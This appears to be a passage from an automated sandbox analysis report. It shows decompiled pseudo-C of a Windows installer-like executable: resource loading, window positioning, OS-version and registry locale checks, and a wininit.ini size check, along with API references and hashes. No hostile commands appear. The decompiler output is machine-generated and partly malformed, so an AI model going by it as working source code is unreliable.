										_t32 =  *_t52;
										_t52 =  &(_t52[1]);
									} while (_t32 != 0);
									goto L17;
								}
							} else {
								E011B6592( &_v268);
								_t55 =  &_v268;
								_t62 = _t55 + 1;
								do {
									_t34 =  *_t55;
									_t55 = _t55 + 1;
								} while (_t34 != 0);
								_t38 = CharPrevA( &_v268,  &(( &_v268)[_t55 - _t62]));
								if(_t38 != 0 &&  *_t38 == 0x5c) {
									 *_t38 = 0;
								}
								E011B16A0(_t65, E011B17E8(_t44, _t65),  &_v268);
								_t59 = _t65;
								_t12 =  &(_t59[1]); // 0x2
								_t60 = _t12;
								do {
									_t42 =  *_t59;
									_t59 =  &(_t59[1]);
								} while (_t42 != 0);
								L17:
								_t65 =  &(_t65[_t52 - _t60]);
							}
						}
						_t64 = CharNextA(_t64);
					}
					 *_t65 = _t17;
				}
				return E011B6C80(_t17, _t44, _v8 ^ _t66, _t60, _t64, _t65);
			}

0x011b2aa5
0x011b2ab0
0x011b2ab5
0x011b2ab7
0x011b2abc
0x011b2abf
0x011b2ac2
0x011b2ac7
0x011b2adf
0x011b2bd5
0x011b2bd5
0x011b2bd9
0x00000000
0x00000000
0x011b2aeb
0x011b2af5
0x011b2af9
0x011b2afe
0x011b2afe
0x011b2b04
0x011b2bc3
0x011b2bca
0x011b2b0a
0x011b2b11
0x011b2b1f
0x011b2b92
0x011b2bc1
0x00000000
0x00000000
0x011b2b94
0x011b2ba7
0x011b2bac
0x011b2bae
0x011b2bae
0x011b2bb1
0x011b2bb1
0x011b2bb3
0x011b2bb4
0x00000000
0x011b2bb1
0x011b2b21
0x011b2b27
0x011b2b2c
0x011b2b32
0x011b2b35
0x011b2b35
0x011b2b37
0x011b2b38
0x011b2b4e
0x011b2b56
0x011b2b5d
0x011b2b5d
0x011b2b73
0x011b2b78
0x011b2b7a
0x011b2b7a
0x011b2b7d
0x011b2b7d
0x011b2b7f
0x011b2b80
0x011b2bb8
0x011b2bba
0x011b2bba
0x011b2b1f
0x011b2bd3
0x011b2bd3
0x011b2bdf
0x011b2bdf
0x011b2bef

APIs

GetModuleFileNameA.KERNEL32(?,00000104,00000000,00000000,?), ref: 011B2ADF
IsDBCSLeadByte.KERNEL32(00000000), ref: 011B2AEB
CharNextA.USER32(?), ref: 011B2B0B
CharUpperA.USER32 ref: 011B2B17
CharPrevA.USER32(?,?), ref: 011B2B4E
CharNextA.USER32(?), ref: 011B2BCD

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Char$Next$ByteFileLeadModuleNamePrevUpper
String ID:
API String ID: 571164536-0
Opcode ID: 73b33d2e31065619f74028eb8e936d1ff8958cf700f339ed304dc30d7fe17545
Instruction ID: f9ead950a8b2a88ffd500f55a267321c3470fa500022815e3396ffc921cb2411
Opcode Fuzzy Hash: 73b33d2e31065619f74028eb8e936d1ff8958cf700f339ed304dc30d7fe17545
Instruction Fuzzy Hash: DA415934504146AFDF2E9F38D8D4AFD7BA99F56344F1400E9D8C283202DF746A8ACB60

Uniqueness

Uniqueness Score: -1.00%

Function 011B43AE, Relevance: 10.6, APIs: 7, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E011B43AE(struct HWND__* __ecx, struct HWND__* __edx) {
				signed int _v8;
				struct tagRECT _v24;
				struct tagRECT _v40;
				struct HWND__* _v44;
				intOrPtr _v48;
				int _v52;
				intOrPtr _v56;
				int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				void* _t53;
				intOrPtr _t56;
				int _t59;
				struct HWND__* _t63;
				struct HWND__* _t67;
				struct HWND__* _t68;
				struct HDC__* _t69;
				int _t72;
				signed int _t74;

				_t63 = __edx;
				_t29 =  *0x11b8004; // 0x714bc98c
				_v8 = _t29 ^ _t74;
				_t68 = __edx;
				_v44 = __ecx;
				GetWindowRect(__ecx,  &_v40);
				_t53 = _v40.bottom - _v40.top;
				_v48 = _v40.right - _v40.left;
				GetWindowRect(_t68,  &_v24);
				_v56 = _v24.bottom - _v24.top;
				_t69 = GetDC(_v44);
				_v52 = GetDeviceCaps(_t69, 8);
				_v60 = GetDeviceCaps(_t69, 0xa);
				ReleaseDC(_v44, _t69);
				_t56 = _v48;
				asm("cdq");
				_t72 = (_v24.right - _v24.left - _t56 - _t63 >> 1) + _v24.left;
				_t67 = 0;
				if(_t72 >= 0) {
					_t63 = _v52;
					if(_t72 + _t56 > _t63) {
						_t72 = _t63 - _t56;
					}
				} else {
					_t72 = _t67;
				}
				asm("cdq");
				_t59 = (_v56 - _t53 - _t63 >> 1) + _v24.top;
				if(_t59 >= 0) {
					_t63 = _v60;
					if(_t59 + _t53 > _t63) {
						_t59 = _t63 - _t53;
					}
				} else {
					_t59 = _t67;
				}
				return E011B6C80(SetWindowPos(_v44, _t67, _t72, _t59, _t67, _t67, 5), _t53, _v8 ^ _t74, _t63, _t67, _t72);
			}

0x011b43ae
0x011b43b6
0x011b43bd
0x011b43c4
0x011b43ca
0x011b43cf
0x011b43de
0x011b43e1
0x011b43e9
0x011b43fe
0x011b4407
0x011b4415
0x011b4422
0x011b4425
0x011b442b
0x011b4432
0x011b4439
0x011b443e
0x011b443f
0x011b4445
0x011b444d
0x011b4451
0x011b4451
0x011b4441
0x011b4441
0x011b4441
0x011b4458
0x011b445f
0x011b4462
0x011b4468
0x011b4470
0x011b4474
0x011b4474
0x011b4464
0x011b4464
0x011b4464
0x011b4494

APIs

GetWindowRect.USER32(?,?), ref: 011B43CF
GetWindowRect.USER32(00000000,?), ref: 011B43E9
GetDC.USER32(?), ref: 011B4401
GetDeviceCaps.GDI32(00000000,00000008), ref: 011B440C
GetDeviceCaps.GDI32(00000000,0000000A), ref: 011B4418
ReleaseDC.USER32(?,00000000), ref: 011B4425
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005,?,?), ref: 011B4480

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: 07e8b9bf0328c36a1ee4b1087d92984d55c68b25533b9c85d66f2598ceddbf0a
Instruction ID: d257ea1ae83f175f33cdfb40705914c3de3d8fb0c3b4cd4dd6dbe0542e832785
Opcode Fuzzy Hash: 07e8b9bf0328c36a1ee4b1087d92984d55c68b25533b9c85d66f2598ceddbf0a
Instruction Fuzzy Hash: 63313E31E00119AFCF18CFB8E9889EEBBB5EF89210F154169F816F3244E774AD458B60

Uniqueness

Uniqueness Score: -1.00%

Function 011B6246, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E011B6246(intOrPtr __ecx, intOrPtr* __edx) {
				signed int _v8;
				char _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				struct HRSRC__* _t21;
				intOrPtr _t26;
				void* _t30;
				struct HINSTANCE__* _t36;
				intOrPtr* _t40;
				void* _t41;
				intOrPtr* _t44;
				intOrPtr* _t45;
				void* _t47;
				signed int _t50;
				struct HINSTANCE__* _t51;

				_t44 = __edx;
				_t16 =  *0x11b8004; // 0x714bc98c
				_v8 = _t16 ^ _t50;
				_t46 = 0;
				_v32 = __ecx;
				_v36 = 0;
				_t36 = 1;
				E011B173E( &_v28, 0x14, "UPDFILE%lu", 0);
				while(1) {
					_t51 = _t51 + 0x10;
					_t21 = FindResourceA(_t46,  &_v28, 0xa);
					if(_t21 == 0) {
						break;
					}
					_t45 = LockResource(LoadResource(_t46, _t21));
					if(_t45 == 0) {
						 *0x11b9124 = 0x80070714;
						_t36 = _t46;
					} else {
						_t5 = _t45 + 8; // 0x8
						_t44 = _t5;
						_t40 = _t44;
						_t6 = _t40 + 1; // 0x9
						_t47 = _t6;
						do {
							_t26 =  *_t40;
							_t40 = _t40 + 1;
						} while (_t26 != 0);
						_t41 = _t40 - _t47;
						_t46 = _t51;
						_t7 = _t41 + 1; // 0xa
						 *0x11ba288( *_t45,  *((intOrPtr*)(_t45 + 4)), _t44, _t7 + _t44);
						_t30 = _v32();
						if(_t51 != _t51) {
							asm("int 0x29");
						}
						_push(_t45);
						if(_t30 == 0) {
							_t36 = 0;
							FreeResource(??);
						} else {
							FreeResource();
							_v36 = _v36 + 1;
							E011B173E( &_v28, 0x14, "UPDFILE%lu", _v36 + 1);
							_t46 = 0;
							continue;
						}
					}
					L12:
					return E011B6C80(_t36, _t36, _v8 ^ _t50, _t44, _t45, _t46);
				}
				goto L12;
			}

0x011b6246
0x011b624e
0x011b6255
0x011b625b
0x011b625d
0x011b6269
0x011b6271
0x011b6272
0x011b62e9
0x011b62e9
0x011b62f3
0x011b62fb
0x00000000
0x00000000
0x011b6288
0x011b628c
0x011b630d
0x011b6317
0x011b628e
0x011b628e
0x011b628e
0x011b6291
0x011b6293
0x011b6293
0x011b6296
0x011b6296
0x011b6298
0x011b6299
0x011b629d
0x011b629f
0x011b62a1
0x011b62b0
0x011b62b6
0x011b62bb
0x011b62c2
0x011b62c2
0x011b62c4
0x011b62c7
0x011b6303
0x011b6305
0x011b62c9
0x011b62c9
0x011b62df
0x011b62e2
0x011b62e7
0x00000000
0x011b62e7
0x011b62c7
0x011b6319
0x011b6329
0x011b6329
0x00000000

APIs

Part of subcall function 011B173E: _vsnprintf.MSVCRT ref: 011B1770

LoadResource.KERNEL32(00000000,00000000,?,?,00000002,00000000,?,011B518A,00000004,00000024,011B2F64,?,00000002,00000000), ref: 011B627B
LockResource.KERNEL32(00000000,?,?,00000002,00000000,?,011B518A,00000004,00000024,011B2F64,?,00000002,00000000), ref: 011B6282
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,011B518A,00000004,00000024,011B2F64,?,00000002,00000000), ref: 011B62C9
FindResourceA.KERNEL32(00000000,00000004,0000000A), ref: 011B62F3
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,011B518A,00000004,00000024,011B2F64,?,00000002,00000000), ref: 011B6305

Strings

UPDFILE%lu, xrefs: 011B6261, 011B62D7

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: 1d6e52c098d47970fedbdd9785b6699f88a34dbec0b78fb6d1ca1c2e21ad3b59
Instruction ID: 907d4e144026c33e25618b186433a3396925797e942460c626cc90407066ca66
Opcode Fuzzy Hash: 1d6e52c098d47970fedbdd9785b6699f88a34dbec0b78fb6d1ca1c2e21ad3b59
Instruction Fuzzy Hash: 3C210775A00219AFEB1C9F65ECC5AFE7B7CEF48714B010129EA11E3240D7759906C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 011B67CB, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E011B67CB(void* __ebx) {
				signed int _v8;
				char _v20;
				struct _OSVERSIONINFOA _v168;
				void* _v172;
				int* _v176;
				int _v180;
				int _v184;
				void* __edi;
				void* __esi;
				signed int _t19;
				long _t31;
				signed int _t35;
				void* _t36;
				intOrPtr _t41;
				signed int _t44;

				_t36 = __ebx;
				_t19 =  *0x11b8004; // 0x714bc98c
				_v8 = _t19 ^ _t44;
				_t41 =  *0x11b81d8; // 0xfffffffe
				_t43 = 0;
				_v180 = 0xc;
				_v176 = 0;
				if(_t41 == 0xfffffffe) {
					 *0x11b81d8 = 0;
					_v168.dwOSVersionInfoSize = 0x94;
					if(GetVersionExA( &_v168) == 0) {
						L12:
						_t41 =  *0x11b81d8; // 0xfffffffe
					} else {
						_t41 = 1;
						if(_v168.dwPlatformId != 1 || _v168.dwMajorVersion != 4 || _v168.dwMinorVersion >= 0xa || GetSystemMetrics(0x4a) == 0 || RegOpenKeyExA(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x20019,  &_v172) != 0) {
							goto L12;
						} else {
							_t31 = RegQueryValueExA(_v172, 0x11b1140, 0,  &_v184,  &_v20,  &_v180);
							_t43 = _t31;
							RegCloseKey(_v172);
							if(_t31 != 0) {
								goto L12;
							} else {
								_t40 =  &_v176;
								if(E011B66A1( &_v20,  &_v176) == 0) {
									goto L12;
								} else {
									_t35 = _v176 & 0x000003ff;
									if(_t35 == 1 || _t35 == 0xd) {
										 *0x11b81d8 = _t41;
									} else {
										goto L12;
									}
								}
							}
						}
					}
				}
				return E011B6C80(_t41, _t36, _v8 ^ _t44, _t40, _t41, _t43);
			}

0x011b67cb
0x011b67d6
0x011b67dd
0x011b67e2
0x011b67e8
0x011b67ea
0x011b67f4
0x011b67fd
0x011b6809
0x011b6810
0x011b6822
0x011b68e6
0x011b68e6
0x011b6828
0x011b682a
0x011b6831
0x00000000
0x011b6882
0x011b68a0
0x011b68ac
0x011b68ae
0x011b68b6
0x00000000
0x011b68b8
0x011b68b8
0x011b68c8
0x00000000
0x011b68ca
0x011b68d0
0x011b68d7
0x011b68de
0x00000000
0x00000000
0x00000000
0x011b68d7
0x011b68c8
0x011b68b6
0x011b6831
0x011b6822
0x011b68fb

APIs

GetVersionExA.KERNEL32(?,00000000,00000002), ref: 011B681A
GetSystemMetrics.USER32(0000004A), ref: 011B6853
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 011B6878
RegQueryValueExA.ADVAPI32(?,011B1140,00000000,?,?,0000000C), ref: 011B68A0
RegCloseKey.ADVAPI32(?), ref: 011B68AE

Part of subcall function 011B66A1: CharNextA.USER32(?,00000001,00000000,00000000,?,?,?,011B68C6), ref: 011B66E9

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 011B686E

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: c937fe63616eee2641d8a8b874e11e14cc8d932b762d4d453022ca3939d785bd
Instruction ID: 3c50075158d94fd7f5e5ffb9e37ad0e224b186bfec21529a96bc34d8526450f3
Opcode Fuzzy Hash: c937fe63616eee2641d8a8b874e11e14cc8d932b762d4d453022ca3939d785bd
Instruction Fuzzy Hash: 4D3159B1A003289FEB399F29DD84BEABBB9EF55664F0001B5E519A2140D730DAC4DF52

Uniqueness

Uniqueness Score: -1.00%

Function 011B3A2B, Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011B3A2B(void* __eflags) {
				void* _t3;
				void* _t9;
				CHAR* _t16;

				_t16 = "LICENSE";
				_t1 = E011B4669(_t16, 0, 0) + 1; // 0x1
				_t3 = LocalAlloc(0x40, _t1);
				 *0x11b8d4c = _t3;
				if(_t3 != 0) {
					_t19 = _t16;
					if(E011B4669(_t16, _t3, _t28) != 0) {
						if(lstrcmpA( *0x11b8d4c, "<None>") == 0) {
							LocalFree( *0x11b8d4c);
							L9:
							 *0x11b9124 = 0;
							return 1;
						}
						_t9 = E011B64C3(_t19, 0x7d1, 0, E011B30F0, 0, 0);
						LocalFree( *0x11b8d4c);
						if(_t9 != 0) {
							goto L9;
						}
						 *0x11b9124 = 0x800704c7;
						L2:
						return 0;
					}
					E011B4495(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree( *0x11b8d4c);
					 *0x11b9124 = 0x80070714;
					goto L2;
				}
				E011B4495(0, 0x4b5, 0, 0, 0x10, 0);
				 *0x11b9124 = E011B6233();
				goto L2;
			}

0x011b3a32
0x011b3a43
0x011b3a49
0x011b3a4f
0x011b3a56
0x011b3a7d
0x011b3a86
0x011b3ac4
0x011b3aff
0x011b3b05
0x011b3b07
0x00000000
0x011b3b0d
0x011b3ad3
0x011b3ae0
0x011b3ae8
0x00000000
0x00000000
0x011b3aea
0x011b3a73
0x00000000
0x011b3a73
0x011b3a94
0x011b3a9f
0x011b3aa5
0x00000000
0x011b3aa5
0x011b3a64
0x011b3a6e
0x00000000

APIs

Part of subcall function 011B4669: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011B467A
Part of subcall function 011B4669: SizeofResource.KERNEL32(00000000,00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B4683
Part of subcall function 011B4669: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011B469D
Part of subcall function 011B4669: LoadResource.KERNEL32(00000000,00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46A6
Part of subcall function 011B4669: LockResource.KERNEL32(00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46AD
Part of subcall function 011B4669: memcpy_s.MSVCRT ref: 011B46BF
Part of subcall function 011B4669: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46C9

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,011B2F57,?,00000002,00000000), ref: 011B3A49
LocalFree.KERNEL32(00000000,00000000,00000010,00000000,00000000), ref: 011B3A9F

Part of subcall function 011B4495: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 011B44F4
Part of subcall function 011B4495: MessageBoxA.USER32(?,?,gGhd,00010010), ref: 011B4530

Part of subcall function 011B6233: GetLastError.KERNEL32(011B5B72), ref: 011B6233

lstrcmpA.KERNEL32(<None>,00000000), ref: 011B3ABC
LocalFree.KERNEL32 ref: 011B3AFF

Part of subcall function 011B64C3: FindResourceA.KERNEL32(011B0000,000007D6,00000005), ref: 011B64D6
Part of subcall function 011B64C3: LoadResource.KERNEL32(011B0000,00000000,?,?,011B2EDF,00000000,011B1A00,00000547,0000083E,?,?,?,?,?,?,?), ref: 011B64E4
Part of subcall function 011B64C3: DialogBoxIndirectParamA.USER32(011B0000,00000000,00000547,011B1A00,00000000), ref: 011B6503
Part of subcall function 011B64C3: FreeResource.KERNEL32(00000000,?,?,011B2EDF,00000000,011B1A00,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 011B650C

LocalFree.KERNEL32(00000000,011B30F0,00000000,00000000), ref: 011B3AE0

Strings

<None>, xrefs: 011B3AB1
LICENSE, xrefs: 011B3A32

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: 763ff58e65412bcfa3b9ff8fed1559992c71125b2d19fc2a349091a288c97246
Instruction ID: 687f0fa8c77ed20428bef33831ac1790afcda16405cddbe1458e76c02004e477
Opcode Fuzzy Hash: 763ff58e65412bcfa3b9ff8fed1559992c71125b2d19fc2a349091a288c97246
Instruction Fuzzy Hash: 5511E7B0700201ABD73D6F36ECC8E9B79BDEFD4B10B10403EE622E6184DB7984518724

Uniqueness

Uniqueness Score: -1.00%

Function 011B24E5, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E011B24E5(void* __ebx) {
				signed int _v8;
				char _v268;
				void* __edi;
				void* __esi;
				signed int _t7;
				void* _t20;
				long _t26;
				signed int _t27;

				_t20 = __ebx;
				_t7 =  *0x11b8004; // 0x714bc98c
				_v8 = _t7 ^ _t27;
				_t25 = 0x104;
				_t26 = 0;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					E011B6534( &_v268, 0x104, "wininit.ini");
					WritePrivateProfileStringA(0, 0, 0,  &_v268);
					_t25 = _lopen( &_v268, 0x40);
					if(_t25 != 0xffffffff) {
						_t26 = _llseek(_t25, 0, 2);
						_lclose(_t25);
					}
				}
				return E011B6C80(_t26, _t20, _v8 ^ _t27, 0x104, _t25, _t26);
			}

0x011b24e5
0x011b24f0
0x011b24f7
0x011b24fc
0x011b2509
0x011b2513
0x011b2522
0x011b2531
0x011b2546
0x011b254b
0x011b2558
0x011b255a
0x011b255a
0x011b254b
0x011b256f

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00000000), ref: 011B250B
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 011B2531
_lopen.KERNEL32 ref: 011B2540
_llseek.KERNEL32(00000000,00000000,00000002), ref: 011B2551
_lclose.KERNEL32(00000000), ref: 011B255A

Strings

wininit.ini, xrefs: 011B2515

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: d8db70a8bcc39ecca566f12140f8cdc5207d5ff3d70d380cd68006d5e69df941
Instruction ID: 8fb6b0121874294944e2019ded923fe6b0b659232eca18cc0f226e3f4c268859
Opcode Fuzzy Hash: d8db70a8bcc39ecca566f12140f8cdc5207d5ff3d70d380cd68006d5e69df941
Instruction Fuzzy Hash: C801B1326001186BD7389B69AC88EDFBBBCEF95760F000164F655D3180DB749A85CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 011B36DC, Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 242
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E011B36DC(CHAR* __ecx) {
				signed int _v8;
				char _v268;
				struct _OSVERSIONINFOA _v416;
				signed int _v420;
				signed int _v424;
				CHAR* _v428;
				CHAR* _v432;
				signed int _v436;
				CHAR* _v440;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t72;
				CHAR* _t77;
				CHAR* _t91;
				CHAR* _t94;
				int _t97;
				CHAR* _t98;
				signed char _t99;
				CHAR* _t104;
				signed short _t107;
				signed int _t109;
				short _t113;
				void* _t114;
				signed char _t115;
				short _t119;
				CHAR* _t123;
				CHAR* _t124;
				CHAR* _t129;
				signed int _t131;
				signed int _t132;
				CHAR* _t135;
				CHAR* _t138;
				signed int _t139;

				_t72 =  *0x11b8004; // 0x714bc98c
				_v8 = _t72 ^ _t139;
				_v416.dwOSVersionInfoSize = 0x94;
				_t115 = __ecx;
				_t135 = 0;
				_v432 = __ecx;
				_t138 = 0;
				if(GetVersionExA( &_v416) != 0) {
					_t133 = _v416.dwMajorVersion;
					_t119 = 2;
					_t77 = _v416.dwPlatformId - 1;
					__eflags = _t77;
					if(_t77 == 0) {
						_t119 = 0;
						__eflags = 1;
						 *0x11b8184 = 1;
						 *0x11b8180 = 1;
						L13:
						 *0x11b9a40 = _t119;
						L14:
						__eflags =  *0x11b8a34 - _t138; // 0x0
						if(__eflags != 0) {
							goto L66;
						}
						__eflags = _t115;
						if(_t115 == 0) {
							goto L66;
						}
						_v428 = _t135;
						__eflags = _t119;
						_t115 = _t115 + ((0 | _t119 != 0x00000000) - 0x00000001 & 0x0000003c) + 4;
						_t11 =  &_v420;
						 *_t11 = _v420 & _t138;
						__eflags =  *_t11;
						_v440 = _t115;
						do {
							_v424 = _t135 * 0x18;
							_v436 = E011B2A82(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_t135 * 0x18 + _t115)),  *((intOrPtr*)(_t135 * 0x18 + _t115 + 4)));
							_t91 = E011B2A82(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_v424 + _t115 + 0xc)),  *((intOrPtr*)(_v424 + _t115 + 0x10)));
							_t123 = _v436;
							_t133 = 0x54d;
							__eflags = _t123;
							if(_t123 < 0) {
								L32:
								__eflags = _v420 - 1;
								if(_v420 == 1) {
									_t138 = 0x54c;
									L36:
									__eflags = _t138;
									if(_t138 != 0) {
										L40:
										__eflags = _t138 - _t133;
										if(_t138 == _t133) {
											L30:
											_v420 = _v420 & 0x00000000;
											_t115 = 0;
											_v436 = _v436 & 0x00000000;
											__eflags = _t138 - _t133;
											_t133 = _v432;
											if(__eflags != 0) {
												_t124 = _v440;
											} else {
												_t124 = _t133[0x80] + 0x84 + _t135 * 0x3c + _t133;
												_v420 =  &_v268;
											}
											__eflags = _t124;
											if(_t124 == 0) {
												_t135 = _v436;
											} else {
												_t99 = _t124[0x30];
												_t135 = _t124[0x34] + 0x84 + _t133;
												__eflags = _t99 & 0x00000001;
												if((_t99 & 0x00000001) == 0) {
													asm("sbb ebx, ebx");
													_t115 =  ~(_t99 & 2) & 0x00000101;
												} else {
													_t115 = 0x104;
												}
											}
											__eflags =  *0x11b8a38 & 0x00000001;
											if(( *0x11b8a38 & 0x00000001) != 0) {
												L64:
												_push(0);
												_push(0x30);
												_push(_v420);
												_push("gGhd");
												goto L65;
											} else {
												__eflags = _t135;
												if(_t135 == 0) {
													goto L64;
												}
												__eflags =  *_t135;
												if( *_t135 == 0) {
													goto L64;
												}
												MessageBeep(0);
												_t94 = E011B67CB(_t115);
												__eflags = _t94;
												if(_t94 == 0) {
													L57:
													0x180030 = 0x30;
													L58:
													_t97 = MessageBoxA(0, _t135, "gGhd", 0x00180030 | _t115);
													__eflags = _t115 & 0x00000004;
													if((_t115 & 0x00000004) == 0) {
														__eflags = _t115 & 0x00000001;
														if((_t115 & 0x00000001) == 0) {
															goto L66;
														}
														__eflags = _t97 - 1;
														L62:
														if(__eflags == 0) {
															_t138 = 0;
														}
														goto L66;
													}
													__eflags = _t97 - 6;
													goto L62;
												}
												_t98 = E011B6777(_t124, _t124);
												__eflags = _t98;
												if(_t98 == 0) {
													goto L57;
												}
												goto L58;
											}
										}
										__eflags = _t138 - 0x54c;
										if(_t138 == 0x54c) {
											goto L30;
										}
										__eflags = _t138;
										if(_t138 == 0) {
											goto L66;
										}
										_t135 = 0;
										__eflags = 0;
										goto L44;
									}
									L37:
									_t129 = _v432;
									__eflags = _t129[0x7c];
									if(_t129[0x7c] == 0) {
										goto L66;
									}
									_t133 =  &_v268;
									_t104 = E011B28E3(_t129,  &_v268, _t129,  &_v428);
									__eflags = _t104;
									if(_t104 != 0) {
										goto L66;
									}
									_t135 = _v428;
									_t133 = 0x54d;
									_t138 = 0x54d;
									goto L40;
								}
								goto L33;
							}
							__eflags = _t91;
							if(_t91 > 0) {
								goto L32;
							}
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t91;
								if(_t91 != 0) {
									goto L37;
								}
								__eflags = (_v416.dwBuildNumber & 0x0000ffff) -  *((intOrPtr*)(_v424 + _t115 + 0x14));
								L27:
								if(__eflags <= 0) {
									goto L37;
								}
								L28:
								__eflags = _t135;
								if(_t135 == 0) {
									goto L33;
								}
								_t138 = 0x54c;
								goto L30;
							}
							__eflags = _t91;
							_t107 = _v416.dwBuildNumber;
							if(_t91 != 0) {
								_t131 = _v424;
								__eflags = (_t107 & 0x0000ffff) -  *((intOrPtr*)(_t131 + _t115 + 8));
								if((_t107 & 0x0000ffff) >=  *((intOrPtr*)(_t131 + _t115 + 8))) {
									goto L37;
								}
								goto L28;
							}
							_t132 = _t107 & 0x0000ffff;
							_t109 = _v424;
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 8));
							if(_t132 <  *((intOrPtr*)(_t109 + _t115 + 8))) {
								goto L28;
							}
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 0x14));
							goto L27;
							L33:
							_t135 =  &(_t135[1]);
							_v428 = _t135;
							_v420 = _t135;
							__eflags = _t135 - 2;
						} while (_t135 < 2);
						goto L36;
					}
					__eflags = _t77 == 1;
